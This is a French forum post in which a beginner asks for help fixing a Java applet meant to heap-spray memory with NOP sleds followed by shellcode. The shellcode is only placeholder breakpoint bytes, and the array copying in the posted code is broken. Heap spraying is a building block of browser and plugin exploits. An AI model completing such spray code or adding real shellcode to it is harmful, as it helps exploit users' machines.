Bonjour,
avant tout je voudrais vous expliquer ce que je veux faire, j'applique un principe de heap spraying avec du java (donc coller bcp de byte 0x90 a un shellcode a executer, répété énormément de fois dans la mémoire).
Je tiens a vous dire que c'est ma premiere source en java, donc j'ai essayé de chercher longtemps mais je me suis dis qu'il vallait mieux avoir un peu d'aide si possible.
voici mon code existant :
comme vous le voyez la boucle avec "bigblock[i] = block" me permet de me faire un tableau avec bcp bcp de NOP (0x90).
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55 import java.awt.*; import java.applet.*; import java.lang.System; public class Heapbla extends Applet { byte block = (byte) 0x90; byte shellcode[] = new byte[] { (byte) 0xCC, (byte) 0xCC, (byte) 0xCC, (byte) 0xCC, (byte) 0xCC, (byte) 0xCC, (byte) 0xCC, (byte) 0xCC }; byte bigblock[] = new byte[50000]; byte heapSpray[][] = new byte[100000][]; static int bla; public void init() { this.bla = 0; initHeap(); } public void paint(Graphics g) { if (bla == 0) g.drawString("Heap Spray starting", 50, 60 ); } public void initHeap() { int i; int len; int lenShell; for (i = 0; i < 50000; i++) bigblock[i] = block; for (i = 0; i < 50000; i++) { try { heapSpray[i] = new byte[51234]; len = bigblock.length; lenShell = shellcode.length; System.arraycopy(bigblock, 0, heapSpray, 0, len); System.arraycopy(shellcode, 0, heapSpray, len, lenShell); } catch(Exception e) { System.out.println(e); } } } }
Mon but c'est que heapspray contiennent dans chacune des ses cases une concaténation de bigblock et shellcode.
J'espere que c'est claire. Pour ceux que ca interresse le but est de blindé ma mémoire de nop (0x90, en assembleur correspond a no operation) et mon shellcode (opcodes que je veux exécuter). Pour plus d'informations vous pouvez rechercher heap spraying sur wikipedia.
Cette technique est facile a implémenter en javascript mais j'avoue avoir pas mal de problemes avec java.
Je vous remercie d'avance, et désolé pour mon code sale mais c'est ma premiere journée de java.
Partager